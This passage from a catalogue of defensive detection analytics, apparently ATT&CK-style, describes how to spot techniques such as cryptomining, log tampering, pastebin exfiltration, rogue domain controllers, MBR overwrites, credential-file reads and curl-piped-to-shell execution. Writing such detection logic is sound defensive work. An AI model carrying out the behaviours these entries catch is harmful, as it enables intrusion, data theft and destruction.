
Description:

Inspect resolver and audit logs for processes initiating outbound connections to ports calculated from DNS response IPs. Abnormal ephemeral port usage shortly after DNS queries can indicate DNS calculation behavior.


[AN0730] Analytic 0730

Current version: 1.0

Description:

Use unified logs to detect unusual DNS responses correlated with subsequent connections to calculated or non-standard ports. Monitor non-browser apps making repeated outbound connections that deviate from expected patterns.


[AN0731] Analytic 0731

Current version: 1.0

Description:

Analyze ESXi syslogs for management agents or VMs making outbound connections to dynamically calculated ports derived from DNS responses. Cross-check with VM traffic baselines to identify anomalies.


[AN0732] Analytic 0732

Current version: 1.0

Description:

Anomalous or bulk download activity from private or restricted repositories by non-developer or privileged accounts, often preceded by unusual login behavior (e.g., unfamiliar geo, OAuth token use, elevated API rate).


[AN0733] Analytic 0733

Current version: 1.0

Description:

Detects JavaScript execution through WSH (wscript.exe, cscript.exe) or HTA (mshta.exe), particularly when spawned from Office macros, web browsers, or abnormal user paths. Correlates script execution with outbound network activity or system modification.


[AN0734] Analytic 0734

Current version: 1.0

Description:

Detects JavaScript for Automation (JXA) via osascript or compiled scripts using OSAKit APIs. Flags execution involving system modification, inter-process scripting, or browser abuse.


[AN0735] Analytic 0735

Current version: 1.0

Description:

Detects Node.js or JavaScript interpreter execution from web shells, cron jobs, or local users. Correlates execution with reverse shell behavior, file modifications, or abnormal outbound connections.


[AN0736] Analytic 0736

Current version: 1.0

Description:

Abuse of launchctl to execute or manage Launch Agents and Daemons. Defender perspective: correlation of suspicious plist file creation or modification in LaunchAgents/LaunchDaemons directories with subsequent execution of the launchctl command. Abnormal executable paths (e.g., /tmp, /Shared) or launchctl activity followed by network connections are highly suspicious.


[AN0737] Analytic 0737

Current version: 1.0

Description:

Detects mailbox manipulation or deletion via PowerShell (e.g., Remove-MailboxExportRequest), file deletion from Outlook data stores (Unistore.db), or tampering with quarantined mail logs.


[AN0738] Analytic 0738

Current version: 1.0

Description:

Detects the use of mail utilities like mail or mailx to delete mailbox content, or file-level deletion of inbox files from /var/spool/mail/ or /var/mail/ following suspicious sessions.


[AN0739] Analytic 0739

Current version: 1.0

Description:

Detects removal of Apple Mail artifacts via AppleScript or direct deletion of mailbox content in ~/Library/Mail/, especially when preceded by Remote Login or C2-related API access.


[AN0740] Analytic 0740

Current version: 1.0

Description:

Detects Exchange Online or on-prem transport rule changes (e.g., header stripping) and mailbox export cleanup via Remove-MailboxExportRequest, as well as admin actions via Exchange PowerShell sessions.


[AN0741] Analytic 0741

Current version: 1.0

Description:

Persistent high CPU utilization combined with suspicious command-line execution (e.g., mining tools or obfuscated scripts) and outbound connections to mining/proxy networks.


[AN0742] Analytic 0742

Current version: 1.0

Description:

Abnormal CPU/memory usage by unauthorized processes with outbound connections to known mining pools or using cron jobs/scripts to maintain persistence.


[AN0743] Analytic 0743

Current version: 1.0

Description:

Background launch agents/daemons with high CPU use and network access to external mining services.


[AN0744] Analytic 0744

Current version: 1.0

Description:

Sudden spikes in cloud VM CPU usage with outbound traffic to mining pools and unauthorized instance creation.


[AN0745] Analytic 0745

Current version: 1.0

Description:

High CPU usage by unauthorized containers running mining binaries or public proxy tools.


[AN0746] Analytic 0746

Current version: 1.0

Description:

Abuse of cloud messaging platforms to send mass spam or consume quota-based resources.


[AN0747] Analytic 0747

Current version: 1.0

Description:

Detects adversarial archiving using libraries (zlib, zip APIs) invoked by scripts or binaries. Correlates process executions of Python, PowerShell, or custom .NET binaries with DLL/module loads linked to compression libraries, followed by archive file creation.


[AN0748] Analytic 0748

Current version: 1.0

Description:

Detects adversarial archiving by scripts or binaries calling compression libraries (libzip, zlib, bzip2). Correlates execution of Python, Perl, or compiled binaries with dynamic linking to archiving libraries and creation of compressed files in /tmp or user directories.


[AN0749] Analytic 0749

Current version: 1.0

Description:

Detects malicious archiving via system or third-party libraries (libz, libarchive) invoked by Python, Swift, or Objective-C binaries. Correlates unified logs of library loads with creation of compressed or encrypted archives (.zip, .gz, .bz2, .dmg).


[AN0750] Analytic 0750

Current version: 1.0

Description:

Logon via RDP or WMI by a user account followed by uncommon command execution, file manipulation, or lateral network connections.


[AN0751] Analytic 0751

Current version: 1.0

Description:

SSH session from new source IP followed by interactive shell or privilege escalation (e.g., sudo, su) and outbound lateral connection.


[AN0752] Analytic 0752

Current version: 1.0

Description:

Remote login via ARD or SSH followed by screensharingd process activity or modification of TCC-protected files.


[AN0753] Analytic 0753

Current version: 1.0

Description:

Use of cloud-based bastion or VM console session followed by commands that initiate outbound SSH or RDP sessions from the cloud instance to other environments.


[AN0754] Analytic 0754

Current version: 1.0

Description:

vSphere API logins (vimService) or SSH to ESXi host followed by unauthorized shell commands or lateral remote logins from the ESXi host.


[AN0755] Analytic 0755

Current version: 1.0

Description:

Adversary modifies Group Policy Objects (GPOs), domain trust, or directory service objects via GUI, CLI, or programmatic APIs. Behavior includes creation/modification of GPOs, delegation permissions, trust objects, or rogue domain controller registration.


[AN0756] Analytic 0756

Current version: 1.0

Description:

Adversary modifies tenant policy through changes to federation configuration, trust settings, or identity provider additions in Microsoft 365/AzureAD via Portal, PowerShell, or Graph API. Includes setting authentication to federated or updating federated domains.


[AN0757] Analytic 0757

Current version: 1.0

Description:

Detects anomalous process access to LSASS on domain controllers, suspicious module loads of authentication DLLs, and registry or file modifications indicative of Skeleton Key–style patching. Correlates LSASS access attempts with subsequent abnormal logon activity patterns.


[AN0758] Analytic 0758

Current version: 1.0

Description:

Detects unauthorized modification of network device authentication by correlating OS image file changes, checksum mismatches, or memory verification failures with anomalous authentication events. Focus is on behaviors where patched images introduce hardcoded passwords or bypass native authentication.


[AN0759] Analytic 0759

Current version: 1.0

Description:

Processes that normally do not initiate network connections establishing outbound encrypted TLS/SSL sessions, especially with asymmetric traffic volumes (client sending more than receiving) or non-standard certificate chains. Defender observations correlate process creation with unexpected network encryption libraries being loaded.


[AN0760] Analytic 0760

Current version: 1.0

Description:

Processes like curl, wget, python, socat, or custom binaries initiating TLS/SSL sessions to non-standard destinations. Defender sees abnormal syscalls for connect(), loading of libssl libraries, and persistent outbound encrypted traffic from daemons not normally communicating externally.


[AN0761] Analytic 0761

Current version: 1.0

Description:

Applications or launchd jobs initiating encrypted TLS traffic to rare external hosts. Defender observes unified logs showing ssl/TLS API calls by processes not baseline-approved, and payload entropy suggesting encrypted C2 sessions.


[AN0762] Analytic 0762

Current version: 1.0

Description:

VMware management daemons or guest processes initiating encrypted connections outside expected vCenter, update servers, or internal comms. Defender identifies hostd or vpxa initiating outbound TLS flows with uncommon destinations.


[AN0763] Analytic 0763

Current version: 1.0

Description:

Unusual TLS tunnels through ports not normally encrypted (e.g., TLS on port 8080, 53). Defender sees NetFlow/IPFIX or packet inspection indicating high-entropy traffic volumes and asymmetric client/server exchange ratios.


[AN0764] Analytic 0764

Current version: 1.0

Description:

Correlation of registry key modification for Run/RunOnce with abnormal parent-child process relationships and outlier execution at user logon or system startup


[AN0765] Analytic 0765

Current version: 1.0

Description:

Correlates creation/modification of systemd service files or /etc/init.d scripts with outlier process behavior during boot


[AN0766] Analytic 0766

Current version: 1.0

Description:

Observes creation or modification of LaunchAgent/LaunchDaemon property list files combined with anomalous plist payload execution after user logon


[AN0767] Analytic 0767

Current version: 1.0

Description:

An adversary leverages built-in tools such as certutil.exe, powershell.exe, or copy.exe to decode, reassemble, or extract hidden malicious content from obfuscated containers or encoded formats. The decoding utility often spawns shortly after file staging or download and may be chained with script interpreters or further payload execution.


[AN0768] Analytic 0768

Current version: 1.0

Description:

The adversary uses native utilities like base64, gzip, tar, or openssl to decode, decompress, or decrypt files that were previously staged or downloaded. These tools may be chained with curl/wget and executed via bash/zsh, often to extract an embedded payload or reverse shell script.


[AN0769] Analytic 0769

Current version: 1.0

Description:

The adversary invokes built-in scripting or decoding tools like base64, plutil, or AppleScript-based utilities to decode files embedded in staging artifacts. Decoding often occurs post-download or as part of post-exploitation payload deployment via zsh, python, or osascript.


[AN0770] Analytic 0770

Current version: 1.0

Description:

Detection of rogue Domain Controller registration and Active Directory replication abuse by correlating: (1) creation/modification of nTDSDSA and server objects in the Configuration partition, (2) unexpected usage of Directory Replication Service SPNs (GC/ or E3514235-4B06-11D1-AB04-00C04FC2DCD2), (3) replication RPC calls (DrsAddEntry, DrsReplicaAdd, GetNCChanges) originating from non-DC hosts, and (4) Kerberos authentication by non-DC machines using DRS-related SPNs. These events in combination, especially from hosts outside the Domain Controllers OU, may indicate DCShadow or rogue DC activity.


[AN0771] Analytic 0771

Current version: 1.0

Description:

Detection of new IAM roles or policies attached to a user/service in AWS/GCP/Azure outside normal patterns or hours, often following account compromise.


[AN0772] Analytic 0772

Current version: 1.0

Description:

Behavioral chain of a user being granted elevated privileges or roles in Entra ID or Okta following suspicious login or account creation activity.


[AN0773] Analytic 0773

Current version: 1.0

Description:

Detection of new admin or role assignment actions within Microsoft 365/O365 environments to elevate access for persistence or lateral movement.


[AN0774] Analytic 0774

Current version: 1.0

Description:

Unusual modification of boot records (MBR, VBR) or EFI partitions not associated with legitimate patch cycles or OS upgrades. Registry or WMI events associated with firmware update tools executed from unexpected parent processes. API calls (e.g., DeviceIoControl) writing directly to raw disk sectors. Subsequent abnormal boot configuration changes followed by unsigned driver loads.


[AN0775] Analytic 0775

Current version: 1.0

Description:

Detection of writes to /boot or EFI directories outside of expected package manager updates. Monitoring kernel log and auditd events for attempts to overwrite bootloader binaries (e.g., grub, shim). Unexpected execution of efibootmgr or dd writing to /dev/sdX devices followed by boot parameter changes.


[AN0776] Analytic 0776

Current version: 1.0

Description:

Abnormal modification of EFI firmware binaries in /System/Library/CoreServices/ or NVRAM parameters not associated with OS updates. Unified logs capturing calls to bless or nvram commands executed from untrusted parent processes. Sudden unsigned kext loads after EFI variable tampering.


[AN0777] Analytic 0777

Current version: 1.0

Description:

Unexpected firmware image uploads via TFTP/FTP/SCP. Configuration changes modifying boot image pointers. Logs showing boot variable redirection to non-standard images. Anomalous reboots immediately following firmware changes not tied to patch schedules.


[AN0778] Analytic 0778

Current version: 1.0

Description:

Monitor for abnormal creation or modification of Windows services (e.g., via sc.exe, PowerShell, or API calls) that load non-standard executables. Correlate registry changes in service keys with service creation events and process execution to detect service abuse for persistence or execution.


[AN0779] Analytic 0779

Current version: 1.0

Description:

Detect unusual invocations of systemctl, service, or init scripts creating or modifying daemons. Monitor audit logs for execution of binaries from unexpected paths linked to service start/stop activity.


[AN0780] Analytic 0780

Current version: 1.0

Description:

Monitor launchd service definitions and property list (.plist) modifications for non-standard executables. Detect unauthorized processes registered as launch daemons or agents.


[AN0781] Analytic 0781

Current version: 1.0

Description:

Behavior chain involving abnormal registry modifications via CLI, PowerShell, WMI, or direct API calls, especially targeting persistence, privilege escalation, or defense evasion keys, potentially followed by service restart or process execution. Such as editing Notify/Userinit/Startup keys, or disabling SafeDllSearchMode.


[AN0782] Analytic 0782

Current version: 1.0

Description:

Monitors for compression tool usage (e.g., 7zip, WinRAR, MakeCab) that follows or precedes file modification, suspicious file types (e.g., .exe, .dll) being compressed, or dropped from self-extracting archives followed by immediate execution.


[AN0783] Analytic 0783

Current version: 1.0

Description:

Detects sequential command-line compression utilities (e.g., gzip, tar, zip, 7z) followed by execution of unpacked files, especially in temp directories or under non-standard locations like /dev/shm or /tmp with ELF binaries.


[AN0784] Analytic 0784

Current version: 1.0

Description:

Identifies archive utilities (e.g., ditto, unzip, xar, pkgutil) used to extract payloads to non-standard paths, then correlates with execution or file permission changes (e.g., chmod +x) and process spawns from decompressed location.


[AN0785] Analytic 0785

Current version: 1.0

Description:

Detection focuses on identifying anomalous regsvr32.exe executions that deviate from normal administrative or system use. Defenders may observe regsvr32.exe loading scriptlets or DLLs from unusual paths (especially temporary directories or remote URLs), command-line arguments invoking /i or /u with suspicious file references, network connections initiated by regsvr32.exe, and unsigned or untrusted DLLs being loaded shortly after regsvr32.exe invocation. Correlated sequences include regsvr32.exe process creation, module load of DLL/scriptlet, and optional outbound network traffic.


[AN0786] Analytic 0786

Current version: 1.0

Description:

Detection of suspicious token manipulation chains: use of token-related APIs (e.g., LogonUser, DuplicateTokenEx) or commands (runas) → spawning of a new process under a different security context (e.g., SYSTEM) → mismatched parent-child process lineage or anomalies in Event Tracing for Windows (ETW) token/PPID data → abnormal lateral or privilege escalation activity.


[AN0787] Analytic 0787

Current version: 1.0

Description:

Unexpected processes (e.g., powershell.exe, wscript.exe, office apps) initiating HTTP POST/PUT requests to text storage domains like pastebin.com or hastebin.com, particularly when preceded by file access in sensitive directories. Defender perspective: correlation of process lineage, large clipboard/file read operations, and outbound uploads to text storage services.


[AN0788] Analytic 0788

Current version: 1.0

Description:

Use of curl, wget, or custom scripts to POST data to pastebin-like services. Defender perspective: identify chained behavior where files are compressed/read followed by HTTPS POST requests to text-sharing endpoints.


[AN0789] Analytic 0789

Current version: 1.0

Description:

Processes such as osascript, curl, or office applications sending data to text storage APIs/domains. Defender perspective: anomalous clipboard or file reads by unexpected applications immediately followed by outbound HTTPS requests to pastebin-like services.


[AN0790] Analytic 0790

Current version: 1.0

Description:

ESXi services (vmx, hostd) generating outbound HTTPS POST requests to text storage sites. Defender perspective: anomalous datastore or log reads chained with traffic to pastebin-like destinations.


[AN0791] Analytic 0791

Current version: 1.0

Description:

A remote DCOM invocation by a privileged account using RPC (port 135), followed by abnormal process instantiation or module loading on the remote system indicative of code execution.


[AN0792] Analytic 0792

Current version: 1.0

Description:

Monitor for anomalous email activity originating from Windows-hosted applications (e.g., Outlook) where the sending account name or display name does not match the underlying SMTP address. Detect abnormal volume of outbound messages containing sensitive keywords (e.g., 'payment', 'wire transfer') or anomalous login locations for accounts associated with email sending activity.


[AN0793] Analytic 0793

Current version: 1.0

Description:

Monitor mail server logs (Postfix, Sendmail, Exim) for anomalous From headers mismatching authenticated SMTP identities. Detect abnormal relay attempts, spoofed envelope-from values, or large-scale outbound campaigns targeting internal users.


[AN0794] Analytic 0794

Current version: 1.0

Description:

Monitor Mail.app activity or unified logs for anomalous SMTP usage, including mismatches between display name and authenticated AppleID or Exchange credentials. Detect use of third-party mail utilities that attempt to send on behalf of corporate identities.


[AN0795] Analytic 0795

Current version: 1.0

Description:

Monitor SaaS mail platforms (Google Workspace, M365, Okta-integrated apps) for SendAs/SendOnBehalfOf operations where the delegated permissions are unusual or newly granted. Detect impersonation attempts where adversaries configure rules to auto-forward or auto-reply with impersonated content.


[AN0796] Analytic 0796

Current version: 1.0

Description:

Monitor Office Suite applications (Outlook, Word mail merge, Excel macros) for abnormal automated message sending, especially when macros or scripts trigger email delivery. Detect patterns of impersonation language (urgent, payment, executive request) combined with anomalous execution of Office macros.


[AN0797] Analytic 0797

Current version: 1.0

Description:

Cause→effect chain: (1) A client app (browser, Office, PDF/Flash/reader) experiences a crash/abnormal exit or loads from an unusual location, then (2) drops or modifies a file in user-writable paths, and/or (3) spawns an unexpected child (e.g., powershell/cmd/mshta/rundll32/wscript/installer), and (4) establishes outbound C2-like connections shortly after. Correlate application logs, file writes, process lineage, and network egress within a short window.


[AN0798] Analytic 0798

Current version: 1.0

Description:

Cause→effect chain: (1) Browser/Office/reader process logs crash/segfault or abnormal sandbox message, (2) new executable/script/write occurs in $HOME (Downloads, ~/.cache, /tmp), (3) unexpected child like curl/wget/bash/python opens network connections soon after.


[AN0799] Analytic 0799

Current version: 1.0

Description:

Cause→effect chain: (1) App crash/abnormal termination in unified logs for Safari/Chrome/Office/Preview, (2) new files/scripts in ~/Library, ~/Downloads, /private/var/folders/*, (3) unexpected child (osascript, zsh, bash, curl) spawned by those apps, (4) new outbound connections.


[AN0800] Analytic 0800

Current version: 1.0

Description:

Correlates suspicious removal or modification of the com.apple.quarantine extended attribute, manipulation of LSFileQuarantineEnabled values in Info.plist, and unexpected process execution of unsigned or non-notarized binaries. Also monitors abnormal trust validation failures in unified logs and unusual activity in QuarantineEvents database entries.


[AN0801] Analytic 0801

Current version: 1.0

Description:

Cloud API events where logging services are stopped, deleted, or modified in a way that disables audit visibility. Defender view: unauthorized StopLogging, DeleteTrail, or UpdateSink operations correlated with privileged user activity.


[AN0802] Analytic 0802

Current version: 1.0

Description:

Disabling or modifying sign-in or audit log collection for user activities. Defender view: policy or configuration updates removing logging coverage for critical accounts.


[AN0803] Analytic 0803

Current version: 1.0

Description:

Disabling mailbox or tenant-level audit logging, often using Set-MailboxAuditBypassAssociation or downgrading license tiers. Defender view: sudden absence of mailbox activity logging for monitored users.


[AN0804] Analytic 0804

Current version: 1.0

Description:

Disabling or altering security and audit logs in SaaS admin panels (e.g., Slack, Zoom, Salesforce). Defender view: API calls or admin console changes that stop event exports or logging integrations.


[AN0805] Analytic 0805

Current version: 1.0

Description:

Detects creation or modification of crontab entries by non-root users or from abnormal parent processes, followed by the execution of uncommon binaries at scheduled intervals.


[AN0806] Analytic 0806

Current version: 1.0

Description:

Detects crontab job additions or modifications via crontab utility or direct edits, especially those created by interactive users executing hidden or renamed scripts.


[AN0807] Analytic 0807

Current version: 1.0

Description:

Detects direct modification of crontab entries in /var/spool/cron/crontabs/root or /etc/rc.local.d/local.sh followed by execution of scripts linked to lateral movement or malware persistence.


[AN0808] Analytic 0808

Current version: 1.0

Description:

Detects web console login events followed by read-only or metadata retrieval activity from GUI sources (e.g., browser session, mobile client) rather than API/CLI sources. Correlates across CloudTrail, IAM identity logs, and user-agent context.


[AN0809] Analytic 0809

Current version: 1.0

Description:

Detects successful login to cloud identity portals (e.g., Okta, Azure AD, Google Identity) from atypical geolocations, devices, or user agents immediately followed by dashboard/portal navigation to sensitive pages such as user or app configuration.


[AN0810] Analytic 0810

Current version: 1.0

Description:

Detects login to admin consoles (e.g., Microsoft 365 Admin Center) from unrecognized users, devices, or geolocations followed by non-API data review or configuration read actions that suggest GUI dashboard use.


[AN0811] Analytic 0811

Current version: 1.0

Description:

Detects SaaS web login followed by dashboard or web GUI page views from unfamiliar locations, devices, or access patterns. Identifies use of sensitive reporting or configuration consoles accessed from high-risk accounts.


[AN0812] Analytic 0812

Current version: 1.0

Description:

Detection of file execution where the file name contains a trailing space to masquerade as a known executable. Adversaries may exploit the way command line interpreters handle file names with trailing whitespace.


[AN0813] Analytic 0813

Current version: 1.0

Description:

Execution of renamed or dropped files with a trailing space to deceive users or analysts, especially in LaunchAgents or LaunchDaemons.


[AN0814] Analytic 0814

Current version: 1.0

Description:

Detects injection or tampering of DLLs in hybrid identity agents (e.g., AzureADConnectAuthenticationAgentService), registry or configuration changes tied to PTA/AD FS, and anomalous LSASS or AD FS module loads correlated with authentication anomalies.


[AN0815] Analytic 0815

Current version: 1.0

Description:

Detects registration of new PTA agents, conditional access changes disabling hybrid MFA enforcement, or suspicious updates to AD FS token-signing configurations.


[AN0816] Analytic 0816

Current version: 1.0

Description:

Detects API calls registering or updating hybrid identity connectors, modification of cloud-to-on-premises federation trust, and unusual token issuance logs.


[AN0817] Analytic 0817

Current version: 1.0

Description:

Detects tenant-wide authentication or conditional access changes that weaken hybrid identity enforcement, including disabling AD FS or bypassing hybrid MFA policies.


[AN0818] Analytic 0818

Current version: 1.0

Description:

Detects suspicious changes to SAML/OAuth federation configurations, such as new signing certificates, altered endpoints, or claims issuance rules granting elevated privileges.


[AN0819] Analytic 0819

Current version: 1.0

Description:

User opens a file delivered by email, web, chat, or share. The handler application (Word/PDF reader/archiver) creates a file in user-controlled paths (Downloads, Temp, Desktop) and then spawns a new or unusual child process (e.g., powershell.exe, wscript.exe, cmd.exe, regsvr32.exe, rundll32.exe, msiexec.exe). Optional precursors include FileStreamCreated (URL/UNC) and Office → system32 batch writes.


[AN0820] Analytic 0820

Current version: 1.0

Description:

User opens a downloaded document/installer leading to EndpointSecurity file create in ~/Downloads or ~/Library paths then an exec of a suspicious utility (osascript, bash/zsh, curl, chmod, open with -a Terminal). Correlates File Creation with subsequent process exec and, optionally, quarantine/LSQuarantine events.


[AN0821] Analytic 0821

Current version: 1.0

Description:

User or desktop application writes a new file to ~/Downloads, /tmp, or mounted removable media followed by execve of a risky interpreter/loader (bash, sh, python, perl, php, node, curl|wget piping to sh, ld.so, rdesktop, xdg-open - with unusual args). Uses auditd PATH+SYSCALL (open/creat/write/rename) with execve event linking.


[AN0822] Analytic 0822

Current version: 1.0

Description:

Detects hijacking of an existing thread (OpenThread) through a behavioral chain involving thread suspension (SuspendThread), memory modification (VirtualAllocEx + WriteProcessMemory), context manipulation (SetThreadContext), and thread resumption—all within another live process's address space (ResumeThread).


[AN0823] Analytic 0823

Current version: 1.0

Description:

Detects suspicious DNS/ARP poisoning attempts, unauthorized modifications to registry/network configuration, or abnormal TLS downgrade activity. Correlates changes in system configuration with subsequent unusual network flows or authentication events.


[AN0824] Analytic 0824

Current version: 1.0

Description:

Detects unauthorized edits to /etc/hosts, /etc/resolv.conf, or suspicious ARP broadcasts. Correlates file modifications with subsequent unexpected network sessions or service creation.


[AN0825] Analytic 0825

Current version: 1.0

Description:

Detects unauthorized edits to system configuration profiles, unexpected certificate trust changes, or abnormal ARP/DNS patterns indicative of interception.


[AN0826] Analytic 0826

Current version: 1.0

Description:

Detects unauthorized firmware or configuration changes enabling adversary-in-the-middle positioning (e.g., route injection, DNS spoofing, SSL downgrade). Behavioral analytics focus on sudden changes to routing tables or image file integrity failures.


[AN0827] Analytic 0827

Current version: 1.0

Description:

Processes attempting raw disk access to overwrite sensitive structures such as the MBR or partition table using \.\PhysicalDrive notation. Detection relies on correlating process creation, privilege escalation, and raw sector writes in Sysmon and Security logs.


[AN0828] Analytic 0828

Current version: 1.0

Description:

Execution of utilities (dd, hdparm, sgdisk) or custom binaries attempting to overwrite disk boot structures (/dev/sda MBR sector or partition tables). Detection correlates shell execution with syscalls writing to sector 0 or disk metadata blocks.


[AN0829] Analytic 0829

Current version: 1.0

Description:

Abnormal invocation of diskutil or asr that modifies partition tables or initializes raw devices. Monitor for IOKit system calls targeting disk headers or EFI boot sectors, correlated with elevated privileges.


[AN0830] Analytic 0830

Current version: 1.0

Description:

Execution of destructive CLI commands such as format flash:, format disk, or equivalent vendor-specific commands that erase filesystem structures. Detection correlates AAA logs showing privileged access with immediate format/erase commands.


[AN0831] Analytic 0831

Current version: 1.0

Description:

Detects adversarial archiving using built-in or third-party utilities (makecab, diantz, xcopy, certutil, 7z, WinRAR, WinZip). Correlates suspicious process creation events with command-line arguments for compression/encoding, followed by creation of archive files (.cab, .zip, .7z, .rar). Identifies anomalous loading of crypt32.dll for encryption operations or execution of diantz.exe to compress remotely staged files.


[AN0832] Analytic 0832

Current version: 1.0

Description:

Detects execution of archiving utilities (tar, gzip, bzip2, xz, zip, openssl) followed by suspicious archive file creation. Correlates archive creation in temporary or staging directories with execution of commands involving compression or encryption options.


[AN0833] Analytic 0833

Current version: 1.0

Description:

Detects invocation of macOS-native archiving utilities (zip, ditto, hdiutil) or openssl used for encryption. Correlates execution with archive or encrypted file creation (.zip, .dmg, .tar.gz) in user or temporary directories. Identifies anomalous use of archiving commands by Office applications or daemons.


[AN0834] Analytic 0834

Current version: 1.0

Description:

Sequential behavioral chain of privilege escalation through permission modification: (1) Process creation of permission-modifying utilities (icacls, takeown, attrib, cacls), (2) Correlation with unusual user context or timing, (3) DACL modification events targeting sensitive files/directories, (4) Subsequent file access or modification attempts indicating successful privilege bypass


[AN0835] Analytic 0835

Current version: 1.0

Description:

Behavioral sequence of unauthorized privilege escalation via permission modification: (1) chmod/chown/setfacl process execution with suspicious parameters, (2) Targeting of critical system files or unusual permission values, (3) Correlation with non-privileged user context or unusual timing patterns, (4) Follow-on file access indicating successful permission bypass


[AN0836] Analytic 0836

Current version: 1.0

Description:

macOS-specific permission modification behavioral chain: (1) chmod/chown/chflags process execution, (2) System Integrity Protection (SIP) bypass attempts, (3) Extended attribute (xattr) modifications, (4) Unified log correlation with file system events, (5) Subsequent access to previously restricted resources


[AN0837] Analytic 0837

Current version: 1.0

Description:

ESXi hypervisor permission modification behavioral chain: (1) SSH access to ESXi host, (2) chmod/chown execution on VMFS datastore files or system configuration, (3) Modification of VM configuration files (.vmx) or virtual disk permissions, (4) Hostd service log correlation, (5) vCenter permission change events if centrally managed


[AN0838] Analytic 0838

Current version: 1.0

Description:

Detect anomalous chains of memory allocation and execution inside the same process (e.g., VirtualAlloc → memcpy → VirtualProtect → CreateThread). Unlike process injection, reflective code loading does not perform cross-process memory writes — the suspicious activity occurs entirely within the process’s own PID context.


[AN0839] Analytic 0839

Current version: 1.0

Description:

Monitor for in-process mmap + mprotect + execve/execveat activity where memory permissions are changed from writable to executable inside the same process without a corresponding ELF on disk.


[AN0840] Analytic 0840

Current version: 1.0

Description:

Suspicious calls to dlopen(), dlsym(), or mmap with RWX flags in processes that do not typically perform dynamic module loading. Monitor anonymous memory regions executed by user processes.


[AN0841] Analytic 0841

Current version: 1.0

Description:

Execution of files originating from removable media after drive mount, with correlation to file write activity, autorun usage, or lateral spread via staged tools.


[AN0842] Analytic 0842

Current version: 1.0

Description:

A remote source rapidly touches a short sequence of closed ports (SYN→RST/S0) on a Windows host. Within a short window the host changes firewall state (WFP rule added/modified or service starts listening) and then the same source completes the first successful handshake to the newly opened port.


[AN0843] Analytic 0843

Current version: 1.0

Description:

A source performs a short closed-port sequence; the host then modifies iptables/nftables/ufw rules or starts a daemon binding a new socket, followed by a successful connection from the same source.


[AN0844] Analytic 0844

Current version: 1.0

Description:

A source performs a closed-port sequence; the endpoint enables a PF/socketfilterfw rule or a background process binds a port; then a successful connection completes from the same source.


[AN0845] Analytic 0845

Current version: 1.0

Description:

Router/switch receives a knock pattern (same src touches device unicast, broadcast, and network-address on same or stepped ports) followed by ACL/line-vty/service enable and the first mgmt session success.


[AN0846] Analytic 0846

Current version: 1.0

Description:

Adversary enumeration of local user accounts using Net.exe, WMI, or PowerShell.


[AN0847] Analytic 0847

Current version: 1.0

Description:

Enumeration of local users or groups via file access (/etc/passwd) or commands like id, groups.


[AN0848] Analytic 0848

Current version: 1.0

Description:

Enumeration of macOS local users using dscl, id, dscacheutil, or /etc/passwd access.


[AN0849] Analytic 0849

Current version: 1.0

Description:

Enumeration of local ESXi accounts using esxcli or vSphere API from unauthorized sessions.


[AN0850] Analytic 0850

Current version: 1.0

Description:

Exploitation of system or application vulnerability (e.g., CVE-based exploit) followed by service crash, restart, or repeated failure within a short time frame, impacting application/system availability.


[AN0851] Analytic 0851

Current version: 1.0

Description:

User or remote input triggers application crash or segmentation fault (e.g., SIGSEGV) with service recovery attempts, observed via audit logs and systemd journaling.


[AN0852] Analytic 0852

Current version: 1.0

Description:

Application crash or repeated restart cycle triggered by malformed input or exploit file, observed via unified logs and process crash monitoring.


[AN0853] Analytic 0853

Current version: 1.0

Description:

Cloud workload exploitation leads to repeated container, service, or VM termination/restart, typically associated with CVE-based crash triggers or fuzzed payloads.


[AN0854] Analytic 0854

Current version: 1.0

Description:

Adversary modifies GPO containers or files under SYSVOL using LDAP, ADSI, PowerShell (e.g., New-GPOImmediateTask) or GUI tools. This includes directory object changes (e.g., gPCFileSysPath), delegation assignments (SeEnableDelegationPrivilege), and SYSVOL file writes (ScheduledTasks.xml, GptTmpl.inf).


[AN0855] Analytic 0855

Current version: 1.0

Description:

Defender observes configuration changes on firewall/network appliance involving rule creation, modification, or deletion from abnormal management IPs or non-console channels (e.g., remote CLI, API). These are often correlated with a spike in previously blocked outbound traffic, unexpected allow-all rules, or bulk rule deletions. Behavior often follows unauthorized login, privilege escalation, or API abuse.


[AN0856] Analytic 0856

Current version: 1.0

Description:

Correlated file access to insecure credential files (e.g., .env, .xml, *.ps1) followed by suspicious process execution or authentication using retrieved credentials. Detected through Sysmon logs and Windows Security Event logs.


[AN0857] Analytic 0857

Current version: 1.0

Description:

File reads or process executions involving insecurely stored credential files (e.g., config files with password fields) by non-root or anomalous users followed by ssh authentication attempts.


[AN0858] Analytic 0858

Current version: 1.0

Description:

Terminal-based grep or open of plist/config files containing credentials, correlated with Keychain or system login attempts.


[AN0859] Analytic 0859

Current version: 1.0

Description:

Container processes accessing mounted secrets or configuration paths (e.g., /run/secrets, /mnt/config) followed by network access or credential use.


[AN0860] Analytic 0860

Current version: 1.0

Description:

Access to local credential/config files (e.g., ~/.aws/credentials) followed by metadata API calls or cloud role assumptions.


[AN0861] Analytic 0861

Current version: 1.0

Description:

Detection focuses on identifying unauthorized or anomalous changes to compute infrastructure components. Defender perspective: monitor for creation, deletion, or modification of instances, volumes, and snapshots outside of approved change management windows; correlate abnormal activity such as rapid snapshot creation followed by new instance mounts, or repeated infrastructure changes by rarely used accounts. Flagging activity linked to unusual geolocation, API client, or automation script is suspicious.


[AN0862] Analytic 0862

Current version: 1.0

Description:

Adversary ships a tampered application or update: an updater/installer (msiexec/setup/update.exe/vendor service) writes or replaces binaries; on first run it spawns scripts/shells or unsigned DLLs and beacons to non-approved update CDNs/hosts. Detection correlates: (1) process creation of installer/updater → (2) file metadata changes in program paths → (3) first-run children and module/signature anomalies → (4) outbound connections to unexpected hosts within a short window.


[AN0863] Analytic 0863

Current version: 1.0

Description:

A compromised package/update (deb/rpm/tarball/AppImage/vendor updater) is installed, writing/overwriting files in /usr/local/bin, /usr/bin, /opt, or ~/.local; first run executes unexpected shells/curl/wget and connects to unapproved hosts. Correlate package/updater execution → file writes/replace → first-run child processes → egress.


[AN0864] Analytic 0864

Current version: 1.0

Description:

A tampered app/pkg/notarized update is installed via installer, softwareupdated, Homebrew, or vendor updater; new Mach-O or bundle contents appear in /Applications, /Library, /usr/local or /opt/homebrew; first run spawns sh/zsh/osascript/curl and makes egress to unfamiliar domains; AMFI/Gatekeeper may log signature/notarization problems.


[AN0865] Analytic 0865

Current version: 1.0

Description:

Detects unauthorized additions of users or machine accounts to privileged local or domain groups (e.g., Administrators, Remote Desktop Users).


[AN0866] Analytic 0866

Current version: 1.0

Description:

